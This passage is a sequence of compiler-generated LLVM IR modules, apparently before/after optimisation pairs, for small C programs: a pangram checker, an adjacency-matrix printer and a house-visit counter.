%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca [100000 x i8], align 16
%7 = alloca ptr, align 8
%8 = alloca i8, align 1
%9 = alloca i8, align 1
store i32 0, ptr %1, align 4
store i8 97, ptr %8, align 1
store i8 65, ptr %9, align 1
%10 = getelementptr inbounds [100000 x i8], ptr %6, i64 0, i64 0
%11 = call i32 @scanf(ptr noundef @.str, ptr noundef %10)
%12 = call i64 @calloc(i32 noundef 27, i32 noundef 4)
%13 = inttoptr i64 %12 to ptr
store ptr %13, ptr %5, align 8
%14 = getelementptr inbounds [100000 x i8], ptr %6, i64 0, i64 0
%15 = call i32 @strlen(ptr noundef %14)
store i32 %15, ptr %4, align 4
store i32 0, ptr %2, align 4
br label %16
16: ; preds = %58, %0
%17 = load i32, ptr %2, align 4
%18 = icmp slt i32 %17, 26
br i1 %18, label %19, label %61
19: ; preds = %16
store i32 0, ptr %3, align 4
br label %20
20: ; preds = %50, %19
%21 = load i32, ptr %3, align 4
%22 = load i32, ptr %4, align 4
%23 = icmp slt i32 %21, %22
br i1 %23, label %24, label %53
24: ; preds = %20
%25 = load i8, ptr %8, align 1
%26 = sext i8 %25 to i32
%27 = load i32, ptr %3, align 4
%28 = sext i32 %27 to i64
%29 = getelementptr inbounds [100000 x i8], ptr %6, i64 0, i64 %28
%30 = load i8, ptr %29, align 1
%31 = sext i8 %30 to i32
%32 = icmp eq i32 %26, %31
br i1 %32, label %42, label %33
33: ; preds = %24
%34 = load i8, ptr %9, align 1
%35 = sext i8 %34 to i32
%36 = load i32, ptr %3, align 4
%37 = sext i32 %36 to i64
%38 = getelementptr inbounds [100000 x i8], ptr %6, i64 0, i64 %37
%39 = load i8, ptr %38, align 1
%40 = sext i8 %39 to i32
%41 = icmp eq i32 %35, %40
br i1 %41, label %42, label %49
42: ; preds = %33, %24
%43 = load ptr, ptr %5, align 8
%44 = load i32, ptr %2, align 4
%45 = sext i32 %44 to i64
%46 = getelementptr inbounds i32, ptr %43, i64 %45
%47 = load i32, ptr %46, align 4
%48 = add nsw i32 %47, 1
store i32 %48, ptr %46, align 4
br label %49
49: ; preds = %42, %33
br label %50
50: ; preds = %49
%51 = load i32, ptr %3, align 4
%52 = add nsw i32 %51, 1
store i32 %52, ptr %3, align 4
br label %20, !llvm.loop !6
53: ; preds = %20
%54 = load i8, ptr %8, align 1
%55 = add i8 %54, 1
store i8 %55, ptr %8, align 1
%56 = load i8, ptr %9, align 1
%57 = add i8 %56, 1
store i8 %57, ptr %9, align 1
br label %58
58: ; preds = %53
%59 = load i32, ptr %2, align 4
%60 = add nsw i32 %59, 1
store i32 %60, ptr %2, align 4
br label %16, !llvm.loop !8
61: ; preds = %16
store i32 0, ptr %3, align 4
br label %62
62: ; preds = %79, %61
%63 = load i32, ptr %3, align 4
%64 = load i32, ptr %4, align 4
%65 = icmp slt i32 %63, %64
br i1 %65, label %66, label %82
66: ; preds = %62
%67 = load i32, ptr %3, align 4
%68 = sext i32 %67 to i64
%69 = getelementptr inbounds [100000 x i8], ptr %6, i64 0, i64 %68
%70 = load i8, ptr %69, align 1
%71 = sext i8 %70 to i32
%72 = icmp eq i32 32, %71
br i1 %72, label %73, label %78
73: ; preds = %66
%74 = load ptr, ptr %5, align 8
%75 = getelementptr inbounds i32, ptr %74, i64 26
%76 = load i32, ptr %75, align 4
%77 = add nsw i32 %76, 1
store i32 %77, ptr %75, align 4
br label %78
78: ; preds = %73, %66
br label %79
79: ; preds = %78
%80 = load i32, ptr %3, align 4
%81 = add nsw i32 %80, 1
store i32 %81, ptr %3, align 4
br label %62, !llvm.loop !9
82: ; preds = %62
store i32 0, ptr %2, align 4
br label %83
83: ; preds = %96, %82
%84 = load i32, ptr %2, align 4
%85 = icmp sle i32 %84, 26
br i1 %85, label %86, label %99
86: ; preds = %83
%87 = load ptr, ptr %5, align 8
%88 = load i32, ptr %2, align 4
%89 = sext i32 %88 to i64
%90 = getelementptr inbounds i32, ptr %87, i64 %89
%91 = load i32, ptr %90, align 4
%92 = icmp slt i32 %91, 1
br i1 %92, label %93, label %95
93: ; preds = %86
%94 = call i32 @printf(ptr noundef @.str.1)
br label %99
95: ; preds = %86
br label %96
96: ; preds = %95
%97 = load i32, ptr %2, align 4
%98 = add nsw i32 %97, 1
store i32 %98, ptr %2, align 4
br label %83, !llvm.loop !10
99: ; preds = %93, %83
%100 = load i32, ptr %2, align 4
%101 = icmp eq i32 %100, 27
br i1 %101, label %102, label %104
102: ; preds = %99
%103 = call i32 @printf(ptr noundef @.str.2)
br label %104
104: ; preds = %102, %99
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i64 @calloc(i32 noundef, i32 noundef) #1
declare i32 @strlen(ptr noundef) #1
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp3v0_9lnz.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [6 x i8] c"%[^\0A]\00", align 1
@.str.1 = private unnamed_addr constant [12 x i8] c"not pangram\00", align 1
@.str.2 = private unnamed_addr constant [8 x i8] c"pangram\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca [100000 x i8], align 16
%7 = alloca ptr, align 8
%8 = alloca i8, align 1
%9 = alloca i8, align 1
store i32 0, ptr %1, align 4
store i8 97, ptr %8, align 1
store i8 65, ptr %9, align 1
%10 = getelementptr inbounds [100000 x i8], ptr %6, i64 0, i64 0
%11 = call i32 @scanf(ptr noundef @.str, ptr noundef %10)
%12 = call i64 @calloc(i32 noundef 27, i32 noundef 4)
%13 = inttoptr i64 %12 to ptr
store ptr %13, ptr %5, align 8
%14 = getelementptr inbounds [100000 x i8], ptr %6, i64 0, i64 0
%15 = call i32 @strlen(ptr noundef %14)
store i32 %15, ptr %4, align 4
store i32 0, ptr %2, align 4
%16 = load i32, ptr %2, align 4
%17 = icmp slt i32 %16, 26
br i1 %17, label %.lr.ph2, label %64
.lr.ph2: ; preds = %0
br label %18
18: ; preds = %.lr.ph2, %59
store i32 0, ptr %3, align 4
%19 = load i32, ptr %3, align 4
%20 = load i32, ptr %4, align 4
%21 = icmp slt i32 %19, %20
br i1 %21, label %.lr.ph, label %54
.lr.ph: ; preds = %18
br label %22
22: ; preds = %.lr.ph, %48
%23 = load i8, ptr %8, align 1
%24 = sext i8 %23 to i32
%25 = load i32, ptr %3, align 4
%26 = sext i32 %25 to i64
%27 = getelementptr inbounds [100000 x i8], ptr %6, i64 0, i64 %26
%28 = load i8, ptr %27, align 1
%29 = sext i8 %28 to i32
%30 = icmp eq i32 %24, %29
br i1 %30, label %40, label %31
31: ; preds = %22
%32 = load i8, ptr %9, align 1
%33 = sext i8 %32 to i32
%34 = load i32, ptr %3, align 4
%35 = sext i32 %34 to i64
%36 = getelementptr inbounds [100000 x i8], ptr %6, i64 0, i64 %35
%37 = load i8, ptr %36, align 1
%38 = sext i8 %37 to i32
%39 = icmp eq i32 %33, %38
br i1 %39, label %40, label %47
40: ; preds = %31, %22
%41 = load ptr, ptr %5, align 8
%42 = load i32, ptr %2, align 4
%43 = sext i32 %42 to i64
%44 = getelementptr inbounds i32, ptr %41, i64 %43
%45 = load i32, ptr %44, align 4
%46 = add nsw i32 %45, 1
store i32 %46, ptr %44, align 4
br label %47
47: ; preds = %40, %31
br label %48
48: ; preds = %47
%49 = load i32, ptr %3, align 4
%50 = add nsw i32 %49, 1
store i32 %50, ptr %3, align 4
%51 = load i32, ptr %3, align 4
%52 = load i32, ptr %4, align 4
%53 = icmp slt i32 %51, %52
br i1 %53, label %22, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %48
br label %54
54: ; preds = %._crit_edge, %18
%55 = load i8, ptr %8, align 1
%56 = add i8 %55, 1
store i8 %56, ptr %8, align 1
%57 = load i8, ptr %9, align 1
%58 = add i8 %57, 1
store i8 %58, ptr %9, align 1
br label %59
59: ; preds = %54
%60 = load i32, ptr %2, align 4
%61 = add nsw i32 %60, 1
store i32 %61, ptr %2, align 4
%62 = load i32, ptr %2, align 4
%63 = icmp slt i32 %62, 26
br i1 %63, label %18, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %59
br label %64
64: ; preds = %._crit_edge3, %0
store i32 0, ptr %3, align 4
%65 = load i32, ptr %3, align 4
%66 = load i32, ptr %4, align 4
%67 = icmp slt i32 %65, %66
br i1 %67, label %.lr.ph5, label %87
.lr.ph5: ; preds = %64
br label %68
68: ; preds = %.lr.ph5, %81
%69 = load i32, ptr %3, align 4
%70 = sext i32 %69 to i64
%71 = getelementptr inbounds [100000 x i8], ptr %6, i64 0, i64 %70
%72 = load i8, ptr %71, align 1
%73 = sext i8 %72 to i32
%74 = icmp eq i32 32, %73
br i1 %74, label %75, label %80
75: ; preds = %68
%76 = load ptr, ptr %5, align 8
%77 = getelementptr inbounds i32, ptr %76, i64 26
%78 = load i32, ptr %77, align 4
%79 = add nsw i32 %78, 1
store i32 %79, ptr %77, align 4
br label %80
80: ; preds = %75, %68
br label %81
81: ; preds = %80
%82 = load i32, ptr %3, align 4
%83 = add nsw i32 %82, 1
store i32 %83, ptr %3, align 4
%84 = load i32, ptr %3, align 4
%85 = load i32, ptr %4, align 4
%86 = icmp slt i32 %84, %85
br i1 %86, label %68, label %._crit_edge6, !llvm.loop !9
._crit_edge6: ; preds = %81
br label %87
87: ; preds = %._crit_edge6, %64
store i32 0, ptr %2, align 4
%88 = load i32, ptr %2, align 4
%89 = icmp sle i32 %88, 26
br i1 %89, label %.lr.ph8, label %.loopexit
.lr.ph8: ; preds = %87
br label %90
90: ; preds = %.lr.ph8, %100
%91 = load ptr, ptr %5, align 8
%92 = load i32, ptr %2, align 4
%93 = sext i32 %92 to i64
%94 = getelementptr inbounds i32, ptr %91, i64 %93
%95 = load i32, ptr %94, align 4
%96 = icmp slt i32 %95, 1
br i1 %96, label %97, label %99
97: ; preds = %90
%98 = call i32 @printf(ptr noundef @.str.1)
br label %105
99: ; preds = %90
br label %100
100: ; preds = %99
%101 = load i32, ptr %2, align 4
%102 = add nsw i32 %101, 1
store i32 %102, ptr %2, align 4
%103 = load i32, ptr %2, align 4
%104 = icmp sle i32 %103, 26
br i1 %104, label %90, label %..loopexit_crit_edge, !llvm.loop !10
..loopexit_crit_edge: ; preds = %100
br label %.loopexit
.loopexit: ; preds = %..loopexit_crit_edge, %87
br label %105
105: ; preds = %.loopexit, %97
%106 = load i32, ptr %2, align 4
%107 = icmp eq i32 %106, 27
br i1 %107, label %108, label %110
108: ; preds = %105
%109 = call i32 @printf(ptr noundef @.str.2)
br label %110
110: ; preds = %108, %105
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i64 @calloc(i32 noundef, i32 noundef) #1
declare i32 @strlen(ptr noundef) #1
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
|
; ModuleID = '/tmp/tmpae6ht4t6.c'
source_filename = "/tmp/tmpae6ht4t6.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [7 x i8] c"%d %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @print_graph(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
store i32 0, ptr %5, align 4
br label %7
7: ; preds = %38, %2
%8 = load i32, ptr %5, align 4
%9 = load i32, ptr %4, align 4
%10 = icmp slt i32 %8, %9
br i1 %10, label %11, label %41
11: ; preds = %7
store i32 0, ptr %6, align 4
br label %12
12: ; preds = %34, %11
%13 = load i32, ptr %6, align 4
%14 = load i32, ptr %4, align 4
%15 = icmp slt i32 %13, %14
br i1 %15, label %16, label %37
16: ; preds = %12
%17 = load ptr, ptr %3, align 8
%18 = load i32, ptr %6, align 4
%19 = load i32, ptr %4, align 4
%20 = mul nsw i32 %18, %19
%21 = load i32, ptr %5, align 4
%22 = add nsw i32 %20, %21
%23 = sext i32 %22 to i64
%24 = getelementptr inbounds i32, ptr %17, i64 %23
%25 = load i32, ptr %24, align 4
%26 = icmp eq i32 %25, 1
br i1 %26, label %27, label %33
27: ; preds = %16
%28 = load i32, ptr %5, align 4
%29 = add nsw i32 %28, 1
%30 = load i32, ptr %6, align 4
%31 = add nsw i32 %30, 1
%32 = call i32 @printf(ptr noundef @.str, i32 noundef %29, i32 noundef %31)
br label %33
33: ; preds = %27, %16
br label %34
34: ; preds = %33
%35 = load i32, ptr %6, align 4
%36 = add nsw i32 %35, 1
store i32 %36, ptr %6, align 4
br label %12, !llvm.loop !6
37: ; preds = %12
br label %38
38: ; preds = %37
%39 = load i32, ptr %5, align 4
%40 = add nsw i32 %39, 1
store i32 %40, ptr %5, align 4
br label %7, !llvm.loop !8
41: ; preds = %7
ret void
}
declare i32 @printf(ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpae6ht4t6.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [7 x i8] c"%d %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @print_graph(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
store i32 0, ptr %5, align 4
%7 = load i32, ptr %5, align 4
%8 = load i32, ptr %4, align 4
%9 = icmp slt i32 %7, %8
br i1 %9, label %.lr.ph2, label %45
.lr.ph2: ; preds = %2
br label %10
10: ; preds = %.lr.ph2, %39
store i32 0, ptr %6, align 4
%11 = load i32, ptr %6, align 4
%12 = load i32, ptr %4, align 4
%13 = icmp slt i32 %11, %12
br i1 %13, label %.lr.ph, label %38
.lr.ph: ; preds = %10
br label %14
14: ; preds = %.lr.ph, %32
%15 = load ptr, ptr %3, align 8
%16 = load i32, ptr %6, align 4
%17 = load i32, ptr %4, align 4
%18 = mul nsw i32 %16, %17
%19 = load i32, ptr %5, align 4
%20 = add nsw i32 %18, %19
%21 = sext i32 %20 to i64
%22 = getelementptr inbounds i32, ptr %15, i64 %21
%23 = load i32, ptr %22, align 4
%24 = icmp eq i32 %23, 1
br i1 %24, label %25, label %31
25: ; preds = %14
%26 = load i32, ptr %5, align 4
%27 = add nsw i32 %26, 1
%28 = load i32, ptr %6, align 4
%29 = add nsw i32 %28, 1
%30 = call i32 @printf(ptr noundef @.str, i32 noundef %27, i32 noundef %29)
br label %31
31: ; preds = %25, %14
br label %32
32: ; preds = %31
%33 = load i32, ptr %6, align 4
%34 = add nsw i32 %33, 1
store i32 %34, ptr %6, align 4
%35 = load i32, ptr %6, align 4
%36 = load i32, ptr %4, align 4
%37 = icmp slt i32 %35, %36
br i1 %37, label %14, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %32
br label %38
38: ; preds = %._crit_edge, %10
br label %39
39: ; preds = %38
%40 = load i32, ptr %5, align 4
%41 = add nsw i32 %40, 1
store i32 %41, ptr %5, align 4
%42 = load i32, ptr %5, align 4
%43 = load i32, ptr %4, align 4
%44 = icmp slt i32 %42, %43
br i1 %44, label %10, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %39
br label %45
45: ; preds = %._crit_edge3, %2
ret void
}
declare i32 @printf(ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpopvmcj5v.c'
source_filename = "/tmp/tmpopvmcj5v.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [32 x i8] c"Usage: DasantaY01 <input file>\0A\00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"r\00", align 1
@stdout = dso_local global i32 0, align 4
@.str.2 = private unnamed_addr constant [35 x i8] c"%i houses got atleast one present\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca [256 x [256 x i32]], align 16
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca i32, align 4
%14 = alloca i32, align 4
%15 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%16 = load i32, ptr %4, align 4
%17 = icmp ne i32 %16, 2
br i1 %17, label %18, label %21
18: ; preds = %2
%19 = load i32, ptr @stderr, align 4
%20 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %19, ptr noundef @.str)
store i32 1, ptr %3, align 4
br label %169
21: ; preds = %2
%22 = load ptr, ptr %5, align 8
%23 = getelementptr inbounds ptr, ptr %22, i64 1
%24 = load ptr, ptr %23, align 8
%25 = call ptr @fopen(ptr noundef %24, ptr noundef @.str.1)
store ptr %25, ptr %6, align 8
call void @llvm.memset.p0.i64(ptr align 16 %7, i8 0, i64 262144, i1 false)
store i32 127, ptr %8, align 4
store i32 127, ptr %9, align 4
store i32 127, ptr %10, align 4
store i32 127, ptr %11, align 4
%26 = load i32, ptr %8, align 4
%27 = sext i32 %26 to i64
%28 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %27
%29 = load i32, ptr %9, align 4
%30 = sext i32 %29 to i64
%31 = getelementptr inbounds [256 x i32], ptr %28, i64 0, i64 %30
%32 = load i32, ptr %31, align 4
%33 = add nsw i32 %32, 2
store i32 %33, ptr %31, align 4
store i32 0, ptr %12, align 4
br label %34
34: ; preds = %132, %21
%35 = load ptr, ptr %6, align 8
%36 = call i32 @feof(ptr noundef %35)
%37 = icmp ne i32 %36, 0
%38 = xor i1 %37, true
br i1 %38, label %39, label %135
39: ; preds = %34
%40 = load i32, ptr %12, align 4
%41 = srem i32 %40, 2
%42 = icmp ne i32 %41, 0
br i1 %42, label %43, label %87
43: ; preds = %39
%44 = load ptr, ptr %6, align 8
%45 = call i32 @fgetc(ptr noundef %44)
switch i32 %45, label %86 [
i32 94, label %46
i32 118, label %56
i32 60, label %66
i32 62, label %76
]
46: ; preds = %43
%47 = load i32, ptr %8, align 4
%48 = add nsw i32 %47, 1
store i32 %48, ptr %8, align 4
%49 = sext i32 %48 to i64
%50 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %49
%51 = load i32, ptr %9, align 4
%52 = sext i32 %51 to i64
%53 = getelementptr inbounds [256 x i32], ptr %50, i64 0, i64 %52
%54 = load i32, ptr %53, align 4
%55 = add nsw i32 %54, 1
store i32 %55, ptr %53, align 4
br label %86
56: ; preds = %43
%57 = load i32, ptr %8, align 4
%58 = add nsw i32 %57, -1
store i32 %58, ptr %8, align 4
%59 = sext i32 %58 to i64
%60 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %59
%61 = load i32, ptr %9, align 4
%62 = sext i32 %61 to i64
%63 = getelementptr inbounds [256 x i32], ptr %60, i64 0, i64 %62
%64 = load i32, ptr %63, align 4
%65 = add nsw i32 %64, 1
store i32 %65, ptr %63, align 4
br label %86
66: ; preds = %43
%67 = load i32, ptr %8, align 4
%68 = sext i32 %67 to i64
%69 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %68
%70 = load i32, ptr %9, align 4
%71 = add nsw i32 %70, -1
store i32 %71, ptr %9, align 4
%72 = sext i32 %71 to i64
%73 = getelementptr inbounds [256 x i32], ptr %69, i64 0, i64 %72
%74 = load i32, ptr %73, align 4
%75 = add nsw i32 %74, 1
store i32 %75, ptr %73, align 4
br label %86
76: ; preds = %43
%77 = load i32, ptr %8, align 4
%78 = sext i32 %77 to i64
%79 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %78
%80 = load i32, ptr %9, align 4
%81 = add nsw i32 %80, 1
store i32 %81, ptr %9, align 4
%82 = sext i32 %81 to i64
%83 = getelementptr inbounds [256 x i32], ptr %79, i64 0, i64 %82
%84 = load i32, ptr %83, align 4
%85 = add nsw i32 %84, 1
store i32 %85, ptr %83, align 4
br label %86
86: ; preds = %43, %76, %66, %56, %46
br label %131
87: ; preds = %39
%88 = load ptr, ptr %6, align 8
%89 = call i32 @fgetc(ptr noundef %88)
switch i32 %89, label %130 [
i32 94, label %90
i32 118, label %100
i32 60, label %110
i32 62, label %120
]
90: ; preds = %87
%91 = load i32, ptr %10, align 4
%92 = add nsw i32 %91, 1
store i32 %92, ptr %10, align 4
%93 = sext i32 %92 to i64
%94 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %93
%95 = load i32, ptr %11, align 4
%96 = sext i32 %95 to i64
%97 = getelementptr inbounds [256 x i32], ptr %94, i64 0, i64 %96
%98 = load i32, ptr %97, align 4
%99 = add nsw i32 %98, 1
store i32 %99, ptr %97, align 4
br label %130
100: ; preds = %87
%101 = load i32, ptr %10, align 4
%102 = add nsw i32 %101, -1
store i32 %102, ptr %10, align 4
%103 = sext i32 %102 to i64
%104 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %103
%105 = load i32, ptr %11, align 4
%106 = sext i32 %105 to i64
%107 = getelementptr inbounds [256 x i32], ptr %104, i64 0, i64 %106
%108 = load i32, ptr %107, align 4
%109 = add nsw i32 %108, 1
store i32 %109, ptr %107, align 4
br label %130
110: ; preds = %87
%111 = load i32, ptr %10, align 4
%112 = sext i32 %111 to i64
%113 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %112
%114 = load i32, ptr %11, align 4
%115 = add nsw i32 %114, -1
store i32 %115, ptr %11, align 4
%116 = sext i32 %115 to i64
%117 = getelementptr inbounds [256 x i32], ptr %113, i64 0, i64 %116
%118 = load i32, ptr %117, align 4
%119 = add nsw i32 %118, 1
store i32 %119, ptr %117, align 4
br label %130
120: ; preds = %87
%121 = load i32, ptr %10, align 4
%122 = sext i32 %121 to i64
%123 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %122
%124 = load i32, ptr %11, align 4
%125 = add nsw i32 %124, 1
store i32 %125, ptr %11, align 4
%126 = sext i32 %125 to i64
%127 = getelementptr inbounds [256 x i32], ptr %123, i64 0, i64 %126
%128 = load i32, ptr %127, align 4
%129 = add nsw i32 %128, 1
store i32 %129, ptr %127, align 4
br label %130
130: ; preds = %87, %120, %110, %100, %90
br label %131
131: ; preds = %130, %86
br label %132
132: ; preds = %131
%133 = load i32, ptr %12, align 4
%134 = add nsw i32 %133, 1
store i32 %134, ptr %12, align 4
br label %34, !llvm.loop !6
135: ; preds = %34
store i32 0, ptr %13, align 4
store i32 0, ptr %14, align 4
br label %136
136: ; preds = %160, %135
%137 = load i32, ptr %14, align 4
%138 = icmp slt i32 %137, 256
br i1 %138, label %139, label %163
139: ; preds = %136
store i32 0, ptr %15, align 4
br label %140
140: ; preds = %156, %139
%141 = load i32, ptr %15, align 4
%142 = icmp slt i32 %141, 256
br i1 %142, label %143, label %159
143: ; preds = %140
%144 = load i32, ptr %14, align 4
%145 = sext i32 %144 to i64
%146 = getelementptr inbounds [256 x [256 x i32]], ptr %7, i64 0, i64 %145
%147 = load i32, ptr %15, align 4
%148 = sext i32 %147 to i64
%149 = getelementptr inbounds [256 x i32], ptr %146, i64 0, i64 %148
%150 = load i32, ptr %149, align 4
%151 = icmp ne i32 %150, 0
br i1 %151, label %152, label %155
152: ; preds = %143
%153 = load i32, ptr %13, align 4
%154 = add nsw i32 %153, 1
store i32 %154, ptr %13, align 4
br label %155
155: ; preds = %152, %143
br label %156
156: ; preds = %155
%157 = load i32, ptr %15, align 4
%158 = add nsw i32 %157, 1
store i32 %158, ptr %15, align 4
br label %140, !llvm.loop !8
159: ; preds = %140
br label %160
160: ; preds = %159
%161 = load i32, ptr %14, align 4
%162 = add nsw i32 %161, 1
store i32 %162, ptr %14, align 4
br label %136, !llvm.loop !9
163: ; preds = %136
%164 = load i32, ptr @stdout, align 4
%165 = load i32, ptr %13, align 4
%166 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %164, ptr noundef @.str.2, i32 noundef %165)
%167 = load ptr, ptr %6, align 8
%168 = call i32 @fclose(ptr noundef %167)
store i32 0, ptr %3, align 4
br label %169
169: ; preds = %163, %18
%170 = load i32, ptr %3, align 4
ret i32 %170
}
declare i32 @fprintf(i32 noundef, ptr noundef, ...) #1
declare ptr @fopen(ptr noundef, ptr noundef) #1
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: write)
declare void @llvm.memset.p0.i64(ptr nocapture writeonly, i8, i64, i1 immarg) #2
declare i32 @feof(ptr noundef) #1
declare i32 @fgetc(ptr noundef) #1
declare i32 @fclose(ptr noundef) #1
